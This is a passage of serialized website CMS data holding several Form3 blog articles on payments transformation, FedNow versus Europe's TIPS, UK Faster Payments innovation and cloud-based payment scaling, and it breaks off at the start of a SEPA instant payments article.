hangout!",[],{"type":25,"text":10548,"spans":10549,"direction":445},"This time, I can give you some more perspective and observations from beyond the foothills of a substantial payments transformation project with a Form3 customer. Working closely with our customer to establish the scope and commercial aspects of the project, and subsequently to commence the implementation of a market-leading payments transformation programme has been challenging and exciting, but above all a great learning experience.",[],{"link_type":434},{"dimensions":10552,"alt":5,"copyright":5,"url":10555,"id":10556,"edit":10557},{"width":10553,"height":10554},1574,1273,"\u002F_prismic-media\u002F4292a80cf860e0e7-1__8FO2xn93Jm_4g_7991883d-68bf-4d33-9d10-d89fee6.png","1__8FO2xn93Jm_4g",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$8e76dceb-a124-4899-a7c3-d6809e8d489d",{"variation":437,"version":438,"items":10565,"primary":10566,"id":10580,"slice_type":468,"slice_label":5},[],{"body":10567},[10568,10571,10574,10577],{"type":988,"text":10569,"spans":10570,"direction":445},"The importance of partnership:",[],{"type":25,"text":10572,"spans":10573,"direction":445},"The most reassuring aspect, and probably the foundation of the success of the programme so far, has been the strong sense of partnership that we have established with our customer. From the top of both organisations, we have established close, collaborative working towards the achievement of joint goals, with trust and open communication as important (if not more so) than the obvious necessities of a clear contractual framework and meeting agreed project milestones on time.",[],{"type":25,"text":10575,"spans":10576,"direction":445},"An important part of establishing this deep partnership culture has been the recognition (by both parties) of the other organisation’s identity, culture and ways of working. For Form3, “walking a mile in the other person’s shoes” in this case means really understanding the bank’s commitments to its customers and society, its regulatory environment, organisational structure and strict adherence to deeply engrained security protocols. This understanding has allowed us to work together in an agile and pragmatic, but also empathetic and patient way.",[],{"type":25,"text":10578,"spans":10579,"direction":445},"We recognise the multiple challenges all banks face when replacing or transforming their payments architecture, and at times lean just as heavily on our own prior experience in these environments as we do on our cloud-native technology and market-leading payments technology as a Service offering. All of this happens in the context of processing and scaling in safe, tested environments where our customers, the Regulator and Form3 are all comfortable with the approach to risk mitigation.",[],"rich_text$9d475a4c-bb89-4f9e-a4ae-5afd2279c937",{"variation":437,"version":438,"items":10582,"primary":10583,"id":10594,"slice_type":468,"slice_label":5},[],{"body":10584},[10585,10588,10591],{"type":988,"text":10586,"spans":10587,"direction":445},"Security and critical infrastructure:",[],{"type":25,"text":10589,"spans":10590,"direction":445},"Helping our customers retain their security-first, no fail culture with respect to their own customers and the Regulator, whilst delivering transformational change at speed creates highly complex and demanding projects where transparency and openness is critical, as is strong programme management. Given the complexity and speed, these projects are highly collaborative by necessity. ",[],{"type":25,"text":10592,"spans":10593,"direction":445},"The complexity and wide range of functions involved within a bank in such a programme makes it necessary for the programme leadership and teams to work across the two organisations in an open, agile and joined up way. Most importantly, it is key that the project leadership (within both organisations) are clear about the vision and overall objectives, whilst helping specific functional teams reach their respective objectives and desired levels of comfort within their areas. These complex and critical areas span across Compliance, Security, Legal and Regulatory, Technology, Operations, Service and Incident management, to name a few but are some of the most important.",[],"rich_text$5d53d7e5-5413-4eac-914a-b4772337e842",{"variation":437,"version":438,"items":10596,"primary":10597,"id":10611,"slice_type":468,"slice_label":5},[],{"body":10598},[10599,10602,10605,10608],{"type":988,"text":10600,"spans":10601,"direction":445},"The importance of agile and adaptive Governance:",[],{"type":25,"text":10603,"spans":10604,"direction":445},"Although defining detailed governance, assurance and reporting processes upfront is inherently attractive, we (and our customers\u002Fpartners) have learnt that being agile and adaptive in these areas is just as critical. After all, given the complex and transformative nature of introducing cloud-native payment processing into traditional banking infrastructure, a detailed view of the post-implementation workings can only be had over time rather than in advance.  ",[],{"type":25,"text":10606,"spans":10607,"direction":445},"This is where we have found that the partnership culture developed with our customers is so highly beneficial for both parties. We have taken the approach of agreeing standards of governance, assurance and reporting early on, acknowledging that the detail can by necessity only be defined and agreed over time in an agile manner. Clearly, this approach also means that owning up to problems early and openly is critical.",[],{"type":25,"text":10609,"spans":10610,"direction":445},"The current Covid environment, including all the stress it has brought and the lack of much needed real human interaction, has reminded us of the importance of awareness, flexibility, tolerance and positivity. Though our remote first working culture (established when we started 4 years ago) has stood us in good stead during the pandemic, we continue to be reminded of the importance of relationships and that when things get difficult, we focus on the problem or challenge, not the person or people involved.  ",[],"rich_text$44c04271-e19d-4b2d-9504-7e7f93462f66",{"variation":437,"version":438,"items":10613,"primary":10614,"id":10634,"slice_type":468,"slice_label":5},[],{"body":10615},[10616,10619,10622,10625,10628,10631],{"type":988,"text":10617,"spans":10618,"direction":445},"Reflections and practical insights:",[],{"type":25,"text":10620,"spans":10621,"direction":445},"I would summarise the learnings from a complex payment transformation project, executed in a fully remote environment as follows:",[],{"type":1151,"text":10623,"spans":10624,"direction":445},"Deep partnerships are critical for complex payments transformation projects, including spending the required time and attention to maintain personal relationships of trust.",[],{"type":1151,"text":10626,"spans":10627,"direction":445},"Delivering these projects effectively at speed requires leading with a macro view by both parties, thus guiding the critical areas of specialist work.",[],{"type":1151,"text":10629,"spans":10630,"direction":445},"Given the complexity, speed and degree of transformation involved, an agile approach combining agreed high standards with joint learning over time takes precedence over detailed end-to-end planning upfront.",[],{"type":1151,"text":10632,"spans":10633,"direction":445},"The personal stress for all of us due to Covid should remind us all of the importance of tolerance, empathy and positivity.",[],"rich_text$56c9a562-94a9-41dd-a4fa-deabbfcfd30e",{"id":10636,"uid":10637,"type":3743,"data":10638},"alz0NBEAAC0AUWVI","lessons-learned-from-europe",{"title":10639,"excerpt":10640,"card_image":10641,"published_date":10646,"reading_time":2375,"tag":5813,"dek":10640,"featured_image":10647,"about_form3":10648,"client_about_heading":5,"client_about_body":10649,"author_name":5,"author_title":5,"author_photo":10650,"author_bio":10651,"author_linkedin":10652,"slices":10653,"meta_title":10749,"meta_description":10750},"What US banks can learn from Europe's move to real-time","With the imminent launch of FedNow, we’re currently facing something of a ‘deja-vu’ from the launch of the ECB’s (European Central Bank) real-time payment scheme – TIPS. So what lessons can be learned from across the pond as the US gets ready for real-time.",{"dimensions":10642,"alt":10639,"copyright":5,"url":10643,"id":10644,"edit":10645},{"width":412,"height":412},"\u002F_prismic-media\u002F9bab04b04aac4207-XQ9ZfCGJaZGYLGY8_lessons-learned-from-europe.svg","XQ9ZfCGJaZGYLGY8",{"x":398,"y":398,"zoom":399,"background":650},"2021-12-06",{},[],[],{},[],{"link_type":434},[10654,10685,10693,10715,10738],{"variation":437,"version":438,"items":10655,"primary":10656,"id":10684,"slice_type":468,"slice_label":5},[],{"body":10657},[10658,10661,10664,10667,10675,10678,10681],{"type":988,"text":10659,"spans":10660,"direction":445},"Interoperability is still key",[],{"type":25,"text":10662,"spans":10663,"direction":445},"In terms of history repeating itself, Europe, just like the US, already had an established real-time payment scheme (SEPA Inst, i.e. the equivalent to RTP) when the launch of TIPS overhauled the market and created two parallel schemes for banks to adopt.",[],{"type":25,"text":10665,"spans":10666,"direction":445},"However – a critical difference between the two scenarios relates to the Europeans forcing interoperability between the two schemes, allowing banks the option to operate solely on one scheme whilst benefiting from the reachability of both (i.e. similar to how EPN\u002FFedACH is currently set-up). The forced co-operation of two competing schemes brought some initial uproar in the relatively conservative payment industry – but in the end they made it work.",[],{"type":25,"text":10668,"spans":10669,"direction":445},"This client focused approached has not yet been adopted by the US – which obviously creates a dilemma which many banks so far has chosen to ignore – that complete market reachability can only be achieved by operating two separate RTP schemes in parallel, with differences in submission, format and other key aspects. ",[10670],{"start":10671,"end":10672,"type":489,"data":10673},207,253,{"link_type":491,"url":10674,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Ffednow-service-7-things-you-need-to-know",{"type":25,"text":10676,"spans":10677,"direction":445},"The European example is a cautionary tale for US banks who have not yet addressed the impact FedNow will have on the market.  If we step back to the many similarities, the US still has a majority of banks reachable on RTP for receipts only. There are a number of reasons for this (ISO formatting, 24\u002F7\u002F365 operations, client demand etc) – however one of the most prevalent is the managing of funds during out of hours and weekends.  Traditionally, banks who elect to only receive transaction are often indirect participants of RTP, transacting through an intermediary who requires pre-funding and in return offers unfavourable cut-off’s and un-utilised liquidity. ",[],{"type":25,"text":10679,"spans":10680,"direction":445},"However, this is often the only option for actors wanting to provide RTP services without having the risk of running out of cash during out of office hours – restricting clients from making payments and providing an overall unfortunate client experience. ",[],{"type":25,"text":10682,"spans":10683,"direction":445},"This precise scenario is one of the underlying problems that FedNow is looking to solve, where funding of underlying settlement accounts can be executed directly from the Federal reserve account. This will bring additional safety to banks, providing support to in operate both payments and receipts, and crucially also grow volumes.",[],"rich_text$971c24b2-95d4-4dc1-b1af-120cf323fa4f",{"variation":437,"version":438,"items":10686,"primary":10687,"id":10692,"slice_type":468,"slice_label":5},[],{"body":10688},[10689],{"type":988,"text":10690,"spans":10691,"direction":445},"Listen to our deep dive into FedNow on our Powering Payments podcast",[],"rich_text$485fa0ea-0afe-43db-aefb-6665011256f8",{"variation":437,"version":527,"items":10694,"primary":10695,"id":10714,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":10696,"body":10700,"cta_label":10704,"cta_link":10705,"aside_type":5,"aside_image":10708,"aside_video":10709,"aside_video_poster":10710,"aside_video_reduced_motion":10711,"aside_video_url":5,"aside_embed":10712,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":10713,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[10697],{"type":746,"text":10698,"spans":10699},"Ep 10. FedNow: A deep dive into liquidity, interoperability and fraud.",[],[10701],{"type":25,"text":10702,"spans":10703},"Listen on Form3’s .tech podcast.",[],"LISTEN TO EPISODE",{"link_type":491,"key":10706,"url":10707},"115659ae-7c3c-4833-8c6a-157dfff24926","https:\u002F\u002Fpodcast.form3.tech\u002Fepisodes\u002Fep-08-fednow-a-deep-dive-into-liquidity-interoperability-and-fraud-u_sQbGST",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$878d1d3c-2489-4807-b3ff-bbd5eb5fe89a",{"variation":437,"version":438,"items":10716,"primary":10717,"id":10737,"slice_type":468,"slice_label":5},[],{"body":10718},[10719,10722,10725,10728,10731,10734],{"type":988,"text":10720,"spans":10721,"direction":445},"Sometimes the carrot just isn’t enough, and then there’s always the stick",[],{"type":25,"text":10723,"spans":10724,"direction":445},"Again, we can look to the European experience for insight.  It is likely that the Federal reserve (just like the ECB) will soon realise that a relatively slow growth in volume will not cover the vast expenditures for building a new clearing and will, in order to recoup some of the funding, mandate certain use cases.",[],{"type":25,"text":10726,"spans":10727,"direction":445},"The order this occurs in may differ – but the end result will always be the same.",[],{"type":25,"text":10729,"spans":10730,"direction":445},"In the case of Federal Reserve, it’s likely the US Treasury will start using FedNow for all outbound transactions made for things like tax-refunds, social securities and other small claims - because why should a consumer have to wait more than 10 seconds for money that are rightfully theirs to be paid out? ",[],{"type":25,"text":10732,"spans":10733,"direction":445},"This will obviously lead to an influx of mainly retail banks adopting FedNow to ensure their customers can receive money offered by the government.  However this may not be sufficient in the eyes of the Fed.  To further increase market uptake, the next step is likely to require transactions under certain values to pass via FedNow rather than FedWire - to better manage the central bank’s liquidity. This has been done in several other markets, including Poland (Elixir\u002FSorbnet) and will again bring an additional number of banks to the clearing given their reliance on transactions with instant confirmation.",[],{"type":25,"text":10735,"spans":10736,"direction":445},"Finally, the US Treasury’s ultimate option is to make reachability mandatory in one way or another - similarly to the decision taken by the ECB. Hence, if there is anything history has thought us, it’s that Real-time payments are coming, whether banks want it or not - and that it’s always best to choose a strategy of early adoption.",[],"rich_text$d4c93a9f-ba76-4d0d-9a3f-18aa79202c84",{"variation":437,"version":438,"items":10739,"primary":10740,"id":10748,"slice_type":468,"slice_label":5},[],{"body":10741},[10742,10745],{"type":988,"text":10743,"spans":10744,"direction":445},"RTP or FedNow? Why not both?",[],{"type":25,"text":10746,"spans":10747,"direction":445},"Payment gateway aggregators like Form3 can help solve for interoperability and early adoptions.   The more advanced aggregators will allow their clients to efficiently bridge the many gaps that will exist between both FedNow\u002FRTP and Real-time payment\u002FACH. Using cutting edge tools to aid banks in redirecting transactions based on preferences such as liquidity-levels at one scheme versus the other, cloud-native processing to grow scalability along with FedNow\u002FRTP volumes, as well as providing a resilient solution that operate seamlessly 24\u002F7\u002F365 are now pre-requisites for payment gateway providers.  Form3 was founded and built specifically to address these challenges. ",[],"rich_text$6704e41d-f4b2-46b0-a1c3-feb12b9d0f78","Lessons learned from TIPS for the move to FedNow","Discover what lessons can be learned from Europe and the move to TIPS for US banks as they begin their adoption of FedNow as part of the bigger move to real-time payments.",{"id":10752,"uid":10753,"type":3743,"data":10754},"alz0ZBEAAC0AUWXA","accelerating-innovation-in-financial-services",{"title":10755,"excerpt":10756,"card_image":10757,"published_date":6642,"reading_time":506,"tag":3751,"dek":10756,"featured_image":10762,"about_form3":10763,"client_about_heading":5,"client_about_body":10764,"author_name":5,"author_title":5,"author_photo":10765,"author_bio":10766,"author_linkedin":10767,"slices":10768,"meta_title":10755,"meta_description":10756},"Accelerating innovation in financial services","Is Faster Payments doing enough?",{"dimensions":10758,"alt":10755,"copyright":5,"url":10759,"id":10760,"edit":10761},{"width":412,"height":412},"\u002F_prismic-media\u002Fd7ea8a2d0da57d88-Uzjiv8qSe32u0nk6_accelerating-innovation-in-fina.png","Uzjiv8qSe32u0nk6",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[10769,10794],{"variation":437,"version":527,"items":10770,"primary":10771,"id":10793,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":10772,"body":10773,"cta_label":5,"cta_link":10782,"aside_type":533,"aside_image":10783,"aside_video":10788,"aside_video_poster":10789,"aside_video_reduced_motion":10790,"aside_video_url":5,"aside_embed":10791,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":10792,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[10774,10777],{"type":25,"text":10775,"spans":10776,"direction":445},"A foundation has been laid and now is the time to double down to accelerate innovation.",[],{"type":25,"text":10778,"spans":10779,"direction":445},"The concept of real-time payment processing both from an operational and cost advantage is big news yet only 36% of all electronic payments in the UK are now via the Faster Payments Service (FPS)[1]. One could argue that FPS has fundamentally changed the nature of payments, user experience and the real economy. But in reality, the race to real-time has been slow and steady rather than a gold rush.",[10780],{"start":3300,"end":10781,"type":593},198,{"link_type":434},{"dimensions":10784,"alt":5,"copyright":5,"url":10785,"id":10786,"edit":10787},{"width":9630,"height":6664},"\u002F_prismic-media\u002Fc217089b2edb326b-blUBgs2DEzbbEHN6_60db35a6-a169-481f-9939-d6660b9.png","blUBgs2DEzbbEHN6",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7112ab0c-c29c-4c2c-86cd-2c28539a12d4",{"variation":437,"version":438,"items":10795,"primary":10796,"id":10834,"slice_type":468,"slice_label":5},[],{"body":10797},[10798,10801,10806,10809,10812,10815,10818,10821,10824,10827],{"type":25,"text":10799,"spans":10800,"direction":445},"There are daily reminders of the great business innovations made possible by FPS such as ordering and paying for your daily decaf latte before you get to the café, receiving real-time payments as part of the gig economy or adding funds to your teenagers’ pre-paid card. How many more ideas could be realised from those little life-enhancers to huge game-changers, if it was easier for innovators to access FPS.",[],{"type":25,"text":10802,"spans":10803,"direction":445},"In a June 2019 report, Accenture summarised the aims of FPS as “boosting speed, competition and innovation in UK payments” and concluded that it has “delivered on every count”. But that risks sounding like job done. As if we’ve reached our destination, when really the journey has only just begun:",[10804],{"start":643,"end":703,"type":489,"data":10805},{"link_type":491,"url":9376,"target":493},{"type":1151,"text":10807,"spans":10808,"direction":445},"The need for speed: Near-instant payments and the ‘always-on consumer’ sound like perfect partners. Previously, consumers would expect payments to take up to three days to process. Today, a transaction is expected to be instantaneous, ubiquitous and convenient on any device. Likewise, businesses want and expect the same instant service and not have to wait until the next day or worse for funds to appear. Given that 36% of all electronic payments in the UK are now real-time via FPS, why are the other 64% going much more slowly? There is evidence that suggests Financial Institutions are now getting closer towards real-time payment processing; in January 2020, Faster Payments service volumes (223m) outstripped Bacs credits (171m)and it seems the trend in Faster Payments adoption continues on an upwards trajectory.",[],{"type":1151,"text":10810,"spans":10811,"direction":445},"Boosting competition: With a potential UK pool of over 3,000 regulated entities, is 36 directly connected FPS participants (only 10 of those are non-banks) enough to tick the competition box just yet? And do potential indirect participants have the optimum variety of potential agency banks to choose from? Perhaps the reason behind the sluggish gold rush of becoming direct participants is that the new breed of indirect real-time service providers offer few downsides in terms of speed and a good deal of upsides in terms of cost.",[],{"type":1151,"text":10813,"spans":10814,"direction":445},"Empowering innovation: FPS’s New Access Model of 2016 set out to level the playing field for the provision of technology for access between the ‘usual suspects’ and the ‘bright young things’ by creating an aggregator model. This model enables accredited tech vendors to offer Payment Service Providers (PSPs) more ways of accessing FPS. But, even when the vendor’s end-to-end solution is the same platform for each new participant (the very definition of multi-tenant aggregation), FPS Scheme Rules require that each new Participant is re-audited with every application resulting in an attestation process that takes weeks or months. Could we not simplify the process of onboarding and empower innovation by reducing admin and cost of services which are already live and proven? Furthermore, having a clearer and more predictable view of the long-term plan for FPS would help aggregators to make longer term plans and investments for their customers.",[],{"type":25,"text":10816,"spans":10817,"direction":445},"The most significant growth in the uptake of FPS, and the most exciting innovation in leveraging the UK faster payment rails, has been in the past three years since challenger banks and non-bank regulated financial organisations were allowed to get on board.",[],{"type":25,"text":10819,"spans":10820,"direction":445},"To drive future innovation that has far reaching impact on the real economy, we need to all work harder to speed up the route to market for potentially great new B2B, B2C and C2C business models to access real-time payments. And that means giving more of the forward-thinking companies easy, flexible and cost-effective access to Faster Payments. Let’s begin by removing the barriers around technical access and easing the legislation around clearing, settlement and liquidity.",[],{"type":25,"text":10822,"spans":10823,"direction":445},"Looking ahead, what is the next, big innovation milestone in the payments landscape? Most likely it is the introduction of NPA which promises a more rapid adoption of real-time payments and richer payments data sets, insights and automation all served up through simple, secure and accessible APIs.",[],{"type":25,"text":10825,"spans":10826,"direction":445},"Whatever comes next, one thing is certain, business as usual just isn’t enough.",[],{"type":25,"text":10828,"spans":10829,"direction":445},"Sources:\n1 www.wearepay.uk\u002F",[10830,10831],{"start":1355,"end":905,"type":593},{"start":602,"end":3485,"type":489,"data":10832},{"link_type":491,"url":10833,"target":493},"https:\u002F\u002Fwww.wearepay.uk\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002FMonthly-Payment-Statistics-Jan-2020.pdf","rich_text$5fa4a84d-6ad6-4036-a822-1644311d1248",{"id":10836,"uid":10837,"type":3743,"data":10838},"alz0PBEAACsAUWVa","why-cloud-payment-processing-is-the-answer-to-scaling-challenges-at-banks",{"title":10839,"excerpt":10840,"card_image":10841,"published_date":10846,"reading_time":2375,"tag":3751,"dek":10840,"featured_image":10847,"about_form3":10848,"client_about_heading":5,"client_about_body":10849,"author_name":5,"author_title":5,"author_photo":10850,"author_bio":10851,"author_linkedin":10852,"slices":10853,"meta_title":10839,"meta_description":10840},"Why Cloud Payment Processing is the answer to scaling challenges at banks","Since the Covid-19 pandemic began in early 2020, more people than ever have opted to use contactless cards to pay for goods and services. Furthermore, account-to-account transactions, enabled through Open Banking and global instant payments services, creates another pressure point for payment processing. Banks and financial institutions must adapt if they are to cope with substantial increases in payment volumes but also more effectively and efficiently handle the inevitable peaks and troughs of transaction flows across multiple timescales.",{"dimensions":10842,"alt":10839,"copyright":5,"url":10843,"id":10844,"edit":10845},{"width":412,"height":412},"\u002F_prismic-media\u002F054c401762cf2399-RUHUbUN8cVmdEhHR_why-cloud-payment-processing-is.png","RUHUbUN8cVmdEhHR",{"x":398,"y":398,"zoom":399,"background":400},"2021-07-20",{},[],[],{},[],{"link_type":434},[10854,10880,10900,10928,10942,10963,10986],{"variation":437,"version":438,"items":10855,"primary":10856,"id":10879,"slice_type":468,"slice_label":5},[],{"body":10857},[10858,10866,10869,10876],{"type":25,"text":10859,"spans":10860},"Payment processing is the next substantial battleground on which challenger and enterprise banks are competing. The size of the global real-time payments market was valued at $10.64 billion (USD) in 2020, with compound annual growth (CAGR) of 33% expected between 2021 to 2028.",[10861],{"start":10862,"end":10863,"type":489,"data":10864},175,189,{"link_type":491,"url":10865,"target":493},"https:\u002F\u002Fwww.grandviewresearch.com\u002Findustry-analysis\u002Freal-time-payments-market",{"type":25,"text":10867,"spans":10868},"Banks’ success in scaling up their payment processing in response will vary, relying heavily on how they set up their systems.",[],{"type":25,"text":10870,"spans":10871},"Cloud-based payments processing is really the only viable option that enables financial institutions to build the level of flexibility required at low cost and low risk in order to remain competitive in an increasingly digitised, responsive space. By 2025, PwC predicts eight out of ten financial services institutions will have outsourced cloud and platform infrastructure.",[10872],{"start":9258,"end":10873,"type":489,"data":10874},255,{"link_type":491,"url":10875,"target":493},"https:\u002F\u002Fwww.pwc.com\u002Fgx\u002Fen\u002Findustries\u002Ffinancial-services\u002Fpublications\u002Ffinancial-services-in-2025\u002Fpayments-in-2025.html#macro4",{"type":25,"text":10877,"spans":10878},"But what do we mean by dynamic scaling in payments? How are Fintech specialists enabling banks of all sizes to respond to the race for real-time payments faster than ever before, and how can financial institutions assess what they should look for in a cloud payment processing partner? ",[],"rich_text$c43b2326-f6ef-4d95-8977-808b792e5572",{"variation":437,"version":438,"items":10881,"primary":10882,"id":10899,"slice_type":468,"slice_label":5},[],{"body":10883},[10884,10887,10890,10893,10896],{"type":988,"text":10885,"spans":10886,"direction":445},"The Necessity of Cloud for scaling in modern times",[],{"type":25,"text":10888,"spans":10889,"direction":445},"Firstly, let’s define what we mean by dynamic scaling in payments, and why it’s so crucial for financial institutions. Broadly speaking, dynamic scaling in payments is the process by which payment volumes (or number of transactions) are accommodated flexibly. Capacity is always met with the optimal level of technical support, ensuring that systems remain as efficient as possible, with financial institutions only paying for the processing power they use.",[],{"type":25,"text":10891,"spans":10892,"direction":445},"Modern cloud-based platforms and solutions, therefore, provide a previously unimaginable level of flexibility and cost-effectiveness opposed to their legacy counterparts. Cloud-based payment platform infrastructure is especially attractive for financial institutions that have struggled to streamline, maintain and upgrade legacy infrastructure: systems they built themselves which have proven ill-equipped to deal with changing market environments and rapidly accelerating technology.",[],{"type":25,"text":10894,"spans":10895,"direction":445},"It takes a long time to provision hardware. In the current climate, lead times on buying and installing servers and network equipment are 9-12 months. That means that you need to know for sure (or overprovision) what your peak capacity is going to be in 12 month’s time. And, hope you don’t scale faster than you expect, or your business requirements don’t change in the meantime",[],{"type":25,"text":10897,"spans":10898,"direction":445},"Any bank wishing to avoid a lot of this unnecessary infrastructure cost and complexity needs cloud-based payment processing.",[],"rich_text$eca37f87-9125-4cdf-b254-93d980cb482f",{"variation":437,"version":438,"items":10901,"primary":10902,"id":10927,"slice_type":468,"slice_label":5},[],{"body":10903},[10904,10907,10914,10921,10924],{"type":988,"text":10905,"spans":10906,"direction":445},"Why is Cloud-based payments processing essential right now?",[],{"type":25,"text":10908,"spans":10909,"direction":445},"Since the Covid-19 pandemic began in early 2020, more people than ever have opted to use contactless cards to pay for goods and services, with 74% of US customers reporting that they will continue to pay using contactless options once the pandemic is over.",[10910],{"start":5329,"end":10911,"type":489,"data":10912},146,{"link_type":491,"url":10913,"target":493},"https:\u002F\u002Fdocs.globalpaymentsinc.com\u002Fv\u002F2021-outlook-five-payment-trends-transforming-commerce-uk",{"type":25,"text":10915,"spans":10916,"direction":445},"Furthermore, account-to-account transactions, enabled through Open Banking and global instant payments services, creates another pressure point for payment processing. As of September 2020, two million Open Banking accounts had been opened in the UK, with the figure set to grow rapidly.",[10917],{"start":10918,"end":9242,"type":489,"data":10919},174,{"link_type":491,"url":10920,"target":493},"https:\u002F\u002Fwww.openbanking.org.uk\u002Fabout-us\u002Flatest-news\u002Freal-demand-for-open-banking-as-user-numbers-grow-to-more-than-two-million\u002F",{"type":25,"text":10922,"spans":10923,"direction":445},"Banks and financial institutions must adapt if they are to cope with substantial increases in payment volumes but also more effectively and efficiently handle the inevitable peaks and troughs of transaction flows across multiple timescales.",[],{"type":25,"text":10925,"spans":10926,"direction":445},"For example, daily, there are far more transactions in the middle of the day compared to the middle of the night. On a monthly basis, there is far more flow at month ends (salary payments etc.), and on an annual basis, Black Friday etc are much busier than other times of the year. Therefore, if you don’t have flexible scaling, you must cater for your peak of peak volume, which can be several times your normal volume",[],"rich_text$edf0b429-3038-4e64-ad15-195921797400",{"variation":437,"version":438,"items":10929,"primary":10930,"id":10941,"slice_type":468,"slice_label":5},[],{"body":10931},[10932,10935,10938],{"type":988,"text":10933,"spans":10934,"direction":445},"Fintech partnerships are key to effective cloud-based scaling",[],{"type":25,"text":10936,"spans":10937,"direction":445},"Financial institutions have a sporadic range of digital priorities to manage. As the nerve centre of the global economy, the time, resources and capacity of their internal teams have consequences far beyond their company’s individual financial performance.",[],{"type":25,"text":10939,"spans":10940,"direction":445},"Thanks to innovations in the banking sector, financial institutions don’t need to do everything alone. Partnering with Fintech specialists can take the burden of highly complex cloud-based payment processing off their shoulders, providing them with solid foundations for future payment scalability.",[],"rich_text$a94fe1c3-5989-4ac3-8f15-ac077e9a5783",{"variation":437,"version":438,"items":10943,"primary":10944,"id":10962,"slice_type":468,"slice_label":5},[],{"body":10945},[10946,10949,10952,10959],{"type":988,"text":10947,"spans":10948,"direction":445},"When It’s Best Not to Build",[],{"type":25,"text":10950,"spans":10951,"direction":445},"Traditional attitudes towards risk in the financial sector led to the creation of legacy tech. Rightly security-conscious banks believed it was better to build systems from scratch and own the technology themselves rather than depend on another provider. However, banks ultimately owned the responsibility of cumbersome maintenance above all else which has, in turn, handicapped their businesses in the modern age.",[],{"type":25,"text":10953,"spans":10954,"direction":445},"New technology provides financial institutions with the means to finally escape this trap cost-effectively and reliably. In 2019, 94% of financial service companies reported that they believed fintech partnerships would help them grow over the following two years.",[10955],{"start":10956,"end":783,"type":489,"data":10957},130,{"link_type":491,"url":10958,"target":493},"https:\u002F\u002Fwww.pwc.com\u002Fgx\u002Fen\u002Findustries\u002Ffinancial-services\u002Fassets\u002Fpwc-global-fintech-report-2019.pdf",{"type":25,"text":10960,"spans":10961,"direction":445},"Cloud-based payments processing provides a level of speed, agility, scale, resilience and repeatability that can’t be replicated by alternative methods. Furthermore, banks no longer need to maintain infrastructure themselves as its all taken care of.",[],"rich_text$79234bd5-3f93-447b-8456-b39be45b74e3",{"variation":437,"version":438,"items":10964,"primary":10965,"id":10985,"slice_type":468,"slice_label":5},[],{"body":10966},[10967,10970,10976,10979],{"type":988,"text":10968,"spans":10969,"direction":445},"How Fintech providers help banks to scale payment capacity",[],{"type":25,"text":10971,"spans":10972,"direction":445},"Fintech specialists like Form3 enable financial institutions to dynamically scale their payments processing capacity, horizontally and vertically to limitless volumes without affecting performance. As their focus is entirely on delivering the best real-time, cloud-based payment processing, they ensure banks have more than enough capacity at any given moment.",[10973],{"start":1066,"end":3041,"type":489,"data":10974},{"link_type":491,"url":10975,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Fminimising-the-risk-of-transforming-core-payments-technology---a-form3-perspective",{"type":25,"text":10977,"spans":10978,"direction":445},"Automation ensures that adequate bandwidth is always supplied, as platforms like Form3 respond and react automatically whenever financial institutions approach their current capacity, the platform knows to increase space, averting overloading.",[],{"type":25,"text":10980,"spans":10981,"direction":445},"Due to the reliability of cloud-based payment systems, financial institutions can spend more time innovating to create new products and services, helping them to encourage customer loyalty and less on infrastructure maintenance and updates.",[10982],{"start":602,"end":9312,"type":489,"data":10983},{"link_type":491,"url":10984,"target":493},"https:\u002F\u002Fprismic-io.s3.amazonaws.com\u002Fform3-website\u002F0cabc2c9-953e-49ee-8a45-d6f11f796e2a_Managing+Technical+Change+of+your+payments+estate_ebook+final+(1).pdf?utm_source=website_blog&utm_medium=blog&utm_campaign=minimising_risk_","rich_text$6a698c1f-20d4-46b6-a6fe-52508a3ae896",{"variation":437,"version":438,"items":10987,"primary":10988,"id":11017,"slice_type":468,"slice_label":5},[],{"body":10989},[10990,10993,10996,10999,11002,11005,11008,11011,11014],{"type":988,"text":10991,"spans":10992,"direction":445},"What Banks Should Look for in a Cloud-based Payment Solution",[],{"type":25,"text":10994,"spans":10995,"direction":445},"Not all cloud-based platforms are created equal. For the best cloud payment processing, financial institutions should check whether a payment partner provides the following:",[],{"type":1151,"text":10997,"spans":10998,"direction":445},"Cloud native from the ground up",[],{"type":1151,"text":11000,"spans":11001,"direction":445},"Simple and uniform design – simple API integration",[],{"type":1151,"text":11003,"spans":11004,"direction":445},"Proven to be a globally scalable solution",[],{"type":1151,"text":11006,"spans":11007,"direction":445},"Rapid, continuous delivery - multiple daily, releases",[],{"type":1151,"text":11009,"spans":11010,"direction":445},"Full payment visibility and notifications",[],{"type":1151,"text":11012,"spans":11013,"direction":445},"Reliable & secure​ with highest levels of resilience and zero downtime",[],{"type":1151,"text":11015,"spans":11016,"direction":445},"Dynamic, AI and machine learning enabled scaling with automated testing and correction.",[],"rich_text$1caa1621-7709-40db-bbbf-debc51c4ef73",{"id":11019,"uid":11020,"type":3743,"data":11021},"alzzZxEAAC0AUWNa","taking-the-stress-out-of-delivering-sepas-new-instant-payments-mandate",{"title":11022,"excerpt":11023,"card_image":11024,"published_date":11027,"reading_time":418,"tag":5813,"dek":11028,"featured_image":11029,"about_form3":11030,"client_about_heading":5,"client_about_body":11031,"author_name":5,"author_title":5,"author_photo":11032,"author_bio":11033,"author_linkedin":11034,"slices":11035,"meta_title":11100,"meta_description":11023},"Industry Intelligence: Taking the stress out of delivering SEPA’s new Instant Payments Mandate","It is a truth universally acknowledged that to move a market towards adoption, regulation is the magic word. The EU has now taken this first step in making Euro instant payments universally available by requiring Payment Service Processors (PSPs) in the Eurozone to offer SEPA instant 